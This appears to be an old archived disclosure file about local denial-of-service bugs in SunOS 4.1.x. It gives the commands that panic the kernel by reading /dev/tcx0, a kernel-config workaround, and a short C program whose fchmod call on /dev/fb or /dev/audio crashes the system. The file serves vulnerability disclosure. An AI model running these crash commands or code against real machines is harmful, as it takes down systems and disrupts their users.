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SunOS_crash.txt
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2001-11-06
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48 lines
If you try to read /dev/tcx0 on a SunOS 4.1.4 Sparc 20
(it didn't work on a 10),
you will cause a system panic. How do you read it, you ask?
Simply "cat /dev/tcx0" or "ls /dev/tcx0/*". You don't need special
privileges to use it.
===================================================================
This will also crash s Sparc 5.
===================================================================
Work around:
1. Install tcx frame buffer.
2. Edit GENERIC file as below and create new kernel.
< device-driver tcx # 24-bit accelerated color frame buffer
---
> #device-driver tcx # 24-bit accelerated color frame buffer
===================================================================
SunOS 4.1.x crash
I found the following three-liner to crash SunOS 4.1.x. It works on
/dev/fb and /dev/audio on some machines; you need permission to open the
device.
main(int argc, char *argv[]) {
int fd;
fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
if (fd < 0) perror("creat"), exit(1);
fchmod(fd, 0755); /* BOOM */
}
===================================================================